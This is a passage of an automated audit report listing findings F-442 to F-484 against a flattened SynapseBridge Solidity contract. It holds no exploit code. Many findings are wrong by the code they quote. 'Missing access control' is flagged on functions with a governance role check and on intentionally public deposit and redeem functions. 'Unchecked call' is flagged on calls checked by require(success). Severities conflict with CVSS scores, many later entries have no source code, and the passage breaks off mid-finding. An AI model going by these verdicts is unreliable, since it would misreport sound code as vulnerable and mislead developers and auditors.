Vulnerable Code

```

2075 | /**
2076 |  * * @notice withdraw specified ERC20 token fees to a given address
2077 |  * * @param token ERC20 token in which fees accumulated to transfer
2078 |  * * @param to Address to send the fees to
2079 |  */
>> 2080 | function withdrawFees(IERC20 token, address to) external whenNotPaused {
2081 |     require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2082 |     require(to != address(0), "Address is 0x000");
2083 |     if (fees[address(token)] != 0) {
2084 |         token.safeTransfer(to, fees[address(token)]);
2085 |         fees[address(token)] = 0;

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105

- OWASP Smart Contract Top 10

F-442. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2090 (pause)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
2085 |         fees[address(token)] = 0;  
2086 |     }  
2087 | }  
2088 |  
2089 | // PAUSABLE FUNCTIONS ***/  
>> 2090 | function pause() external {  
2091 |     require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");  
2092 |     _pause();  
2093 | }  
2094 |  
2095 | function unpause() external {
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105

- OWASP Smart Contract Top 10

F-443. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2095 (unpause)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
2090 |     function pause() external {
2091 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2092 |         _pause();
2093 |     }
2094 |
>> 2095 |     function unpause() external {
2096 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2097 |         _unpause();
2098 |     }
2099 |
2100 | /**
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105

- OWASP Smart Contract Top 10

F-444. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2124 (redeem)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

2119 |      * @param to address on other chain to redeem underlying assets to
2120 |      * @param chainId which underlying chain to bridge assets onto
2121 |      * @param token ERC20 compatible token to deposit into the bridge
2122 |      * @param amount Amount in native token decimals to transfer cross-chain
pre-fees
2123 |      **/
>> 2124 |      function redeem(
2125 |          address to,
2126 |          uint256 chainId,
2127 |          ERC20Burnable token,
2128 |          uint256 amount
2129 |      ) external nonReentrant whenNotPaused {

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105

- OWASP Smart Contract Top 10

F-445. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2142 (withdraw)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

2137 |      * @param token ERC20 compatible token to withdraw from the bridge
2138 |      * @param amount Amount in native token decimals to withdraw
2139 |      * @param fee Amount in native token decimals to save to the contract as
fees
2140 |      * @param kappa kappa
2141 |      **/
>> 2142 |      function withdraw(
2143 |          address to,
2144 |          IERC20 token,
2145 |          uint256 amount,
2146 |          uint256 fee,
2147 |          bytes32 kappa

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105

- OWASP Smart Contract Top 10

F-446. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2174 (mint)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

2169 |      * @param token ERC20 compatible token to deposit into the bridge
2170 |      * @param amount Amount in native token decimals to transfer cross-chain
post-fees
2171 |      * @param fee Amount in native token decimals to save to the contract as
fees
2172 |      * @param kappa kappa
2173 |      **/
>> 2174 |      function mint(
2175 |          address payable to,
2176 |          IERC20Mintable token,
2177 |          uint256 amount,
2178 |          uint256 fee,
2179 |          bytes32 kappa

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-447. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2205 (depositAndSwap)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

2200 |      * @param tokenIndexFrom the token the user wants to swap from
2201 |      * @param tokenIndexTo the token the user wants to swap to
2202 |      * @param minDy the min amount the user would like to receive, or revert
to only minting the SynERC20 token crosschain.
2203 |      * @param deadline latest timestamp to accept this transaction
2204 |      **/
>> 2205 |      function depositAndSwap(
2206 |          address to,
2207 |          uint256 chainId,
2208 |          IERC20 token,
2209 |          uint256 amount,
2210 |          uint8 tokenIndexFrom,

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-448. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2230 (redeemAndSwap)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

2225 |      * @param tokenIndexFrom the token the user wants to swap from
2226 |      * @param tokenIndexTo the token the user wants to swap to
2227 |      * @param minDy the min amount the user would like to receive, or revert
to only minting the SynERC20 token crosschain.
2228 |      * @param deadline latest timestamp to accept this transaction
2229 |      **/
>> 2230 |      function redeemAndSwap(
2231 |          address to,
2232 |          uint256 chainId,
2233 |          ERC20Burnable token,
2234 |          uint256 amount,
2235 |          uint8 tokenIndexFrom,

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-449. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2254 (redeemAndRemove)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

2249 |      * @param amount Amount in native token decimals to transfer cross-chain
pre-fees
2250 |      * @param swapTokenIndex Specifies which of the underlying LP assets the
nodes should attempt to redeem for
2251 |      * @param swapMinAmount Specifies the minimum amount of the underlying
asset needed for the nodes to execute the redeem/swap
2252 |      * @param swapDeadline Specifies the deadline that the nodes are allowed
to try to redeem/swap the LP token
2253 |      **/
>> 2254 |      function redeemAndRemove(
2255 |          address to,
2256 |          uint256 chainId,
2257 |          ERC20Burnable token,
2258 |          uint256 amount,
2259 |          uint8 swapTokenIndex,

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-450. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2281 (mintAndSwap)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

2276 |      * @param tokenIndexTo Index of the desired final asset
2277 |      * @param minDy Minumum amount (in final asset decimals) that must be
swapped for, otherwise the user will receive the SynERC20.
2278 |      * @param deadline Epoch time of the deadline that the swap is allowed to
be executed.
2279 |      * @param kappa kappa
2280 |      **/
>> 2281 |      function mintAndSwap(
2282 |          address payable to,
2283 |          IERC20Mintable token,
2284 |          uint256 amount,
2285 |          uint256 fee,
2286 |          ISwap pool,

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-451. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2390 (withdrawAndRemove)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

2385 |      * @param swapTokenIndex Specifies which of the underlying LP assets the
nodes should attempt to redeem for
2386 |      * @param swapMinAmount Specifies the minimum amount of the underlying
asset needed for the nodes to execute the redeem/swap
2387 |      * @param swapDeadline Specifies the deadline that the nodes are allowed
to try to redeem/swap the LP token
2388 |      * @param kappa kappa
2389 |      **/
>> 2390 |      function withdrawAndRemove(
2391 |          address to,
2392 |          IERC20 token,
```

```

2393 |         uint256 amount,
2394 |         uint256 fee,
2395 |         ISwap pool,

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-452. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2466 (redeemV2)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

2461 |         * @param to address on other chain to redeem underlying assets to
2462 |         * @param chainId which underlying chain to bridge assets onto
2463 |         * @param token ERC20 compatible token to deposit into the bridge
2464 |         * @param amount Amount in native token decimals to transfer cross-chain
pre-fees
2465 |         **/
>> 2466 |     function redeemV2(
2467 |         bytes32 to,
2468 |         uint256 chainId,

```



```

2469 |         ERC20Burnable token,
2470 |         uint256 amount
2471 |     ) external nonReentrant whenNotPaused {

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-453. unchecked_call

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:58 (sendValue)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Return value from a low-level call, send, or delegatecall is not checked for success or failure.

Vulnerable Code

```

53 |     */
54 |     function sendValue(address payable recipient, uint256 amount) internal {
55 |         require(address(this).balance >= amount, "Address: insufficient
balance");
56 |
57 |         // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
>> 58 |         (bool success, ) = recipient.call{ value: amount }("");
59 |         require(success, "Address: unable to send value, recipient may have
reverted");

```

```

60 |     }
61 |
62 |     /**
63 |      * @dev Performs a Solidity function call using a low level `call`. A

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Always check the boolean return value of low-level calls. Use require() to ensure the call succeeded.

References

- SWC-104
- OWASP Smart Contract Top 10

F-454. unchecked_call

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:120 (functionCallWithValue)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Return value from a low-level call, send, or delegatecall is not checked for success or failure.

Vulnerable Code

```

115 |     function functionCallWithValue(address target, bytes memory data, uint256
value, string memory errorMessage) internal returns (bytes memory) {
116 |         require(address(this).balance >= value, "Address: insufficient balance
for call");
117 |         require(isContract(target), "Address: call to non-contract");
118 |
119 |         // solhint-disable-next-line avoid-low-level-calls

```

```

>> 120 |      (bool success, bytes memory returndata) = target.call{ value: value }(
(data);
    121 |      return _verifyCallResult(success, returndata, errorMessage);
    122 |    }
    123 |
    124 |    /**
    125 |    * @dev Same as {xref-Address-functionCall-address-bytes-}
[`functionCall`],

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Always check the boolean return value of low-level calls. Use `require()` to ensure the call succeeded.

References

- SWC-104
- OWASP Smart Contract Top 10

F-455. unchecked_call

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2156 (withdraw)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Return value from a low-level call, send, or delegatecall is not checked for success or failure.

Vulnerable Code

```

2151 |      require(!kappaMap[kappa], "Kappa is already present");
2152 |      kappaMap[kappa] = true;
2153 |      fees[address(token)] = fees[address(token)].add(fee);
2154 |      if (address(token) == WETH_ADDRESS && WETH_ADDRESS != address(0)) {
2155 |          IWETH9(WETH_ADDRESS).withdraw(amount.sub(fee));

```

```

>> 2156 |         (bool success, ) = to.call{value: amount.sub(fee)}("");
      2157 |         require(success, "ETH_TRANSFER_FAILED");
      2158 |         emit TokenWithdraw(to, token, amount, fee, kappa);
      2159 |     } else {
      2160 |         emit TokenWithdraw(to, token, amount, fee, kappa);
      2161 |         token.safeTransfer(to, amount.sub(fee));

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Always check the boolean return value of low-level calls. Use require() to ensure the call succeeded.

References

- SWC-104
- OWASP Smart Contract Top 10

F-456. unchecked_call

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2316 (mintAndSwap)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Return value from a low-level call, send, or delegatecall is not checked for success or failure.

Vulnerable Code

```

      2311 |         ) {
      2312 |             // Swap succeeded, transfer swapped asset
      2313 |             IERC20 swappedTokenTo = ISwap(pool).getToken(tokenIndexTo);
      2314 |             if (address(swappedTokenTo) == WETH_ADDRESS && WETH_ADDRESS !=
address(0)) {
      2315 |                 IWETH9(WETH_ADDRESS).withdraw(finalSwappedAmount);
>> 2316 |                 (bool success, ) = to.call{value: finalSwappedAmount}("");

```

```

2317 |         require(success, "ETH_TRANSFER_FAILED");
2318 |         emit TokenMintAndSwap(
2319 |             to,
2320 |             token,
2321 |             finalSwappedAmount,

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Always check the boolean return value of low-level calls. Use `require()` to ensure the call succeeded.

References

- SWC-104
- OWASP Smart Contract Top 10

F-457. denial_of_service

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2000 (addKappas)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

A function can be blocked from executing due to gas limits, unbounded loops, or external call failures.

Vulnerable Code

```

1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {
1999 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
>> 2000 |         for (uint256 i = 0; i < kappas.length; ++i) {
2001 |             kappaMap[kappas[i]] = true;
2002 |         }

```

```

2003 |     }
2004 |
2005 |     event TokenDeposit(address indexed to, uint256 chainId, IERC20 token,
uint256 amount);

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Limit loop iterations or use pagination to prevent exceeding the block gas limit.

References

- SWC-113
- OWASP Smart Contract Top 10

F-458. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:14
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-459. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:25
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-460. arithmetic

PROPERTY	VALUE
Severity	MEDIUM

PROPERTY	VALUE
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:42
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-461. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:52
Status	Open (26% conf.)

PROPERTY	VALUE
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-462. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:71
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-463. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	contract.sol:154
Status	Open (28% conf.)
Detected By	classic-pattern-detector

Description

Missing or insufficient access controls

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add onlyOwner/onlyRole modifiers or require(msg.sender == owner)

References

- SWC-105

- OWASP Smart Contract Top 10

F-464. denial_of_service

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	contract.sol:177
Status	Open (28% conf.)
Detected By	classic-pattern-detector

Description

Denial of service through gas exhaustion or external call failure

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Limit loop iterations or use pull payment pattern

References

- SWC-128
- OWASP Smart Contract Top 10

F-465. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	

PROPERTY	VALUE
CVSS Score	6.8
Confidence	26%
Location	<code>contract.sol:192</code>
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-466. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	<code>contract.sol:202</code>
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-467. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:213
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-468. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:230
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-469. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:240
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-470. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%

PROPERTY	VALUE
Location	<code>contract.sol:259</code>
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-471. denial_of_service

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	<code>contract.sol:341</code>
Status	Open (28% conf.)
Detected By	classic-pattern-detector

Description

Denial of service through gas exhaustion or external call failure

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Limit loop iterations or use pull payment pattern

References

- SWC-128
- OWASP Smart Contract Top 10

F-472. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:356
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-473. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:374
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-474. arithmetic

PROPERTY	VALUE
Severity	MEDIUM

PROPERTY	VALUE
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:383
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-475. denial_of_service

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	contract.sol:507
Status	Open (28% conf.)

PROPERTY	VALUE
Detected By	classic-pattern-detector

Description

Denial of service through gas exhaustion or external call failure

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Limit loop iterations or use pull payment pattern

References

- SWC-128
- OWASP Smart Contract Top 10

F-476. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:674
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-477. short_address

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	contract.sol:697
Status	Open (28% conf.)
Detected By	classic-pattern-detector

Description

Short address attack in token transfer

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Use Solidity 0.5+ or validate input length

References

- SWC-102

- OWASP Smart Contract Top 10

F-478. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:750
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-479. short_address

PROPERTY	VALUE
Severity	LOW
Category	

PROPERTY	VALUE
CVSS Score	6.8
Confidence	28%
Location	<code>contract.sol:773</code>
Status	Open (28% conf.)
Detected By	classic-pattern-detector

Description

Short address attack in token transfer

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Use Solidity 0.5+ or validate input length

References

- SWC-102
- OWASP Smart Contract Top 10

F-480. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	<code>contract.sol:841</code>
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-481. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:961
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-482. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:971
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-483. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:995
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-484. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%

PROPERTY	VALUE
Location	<code>contract.sol:1048</code>
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

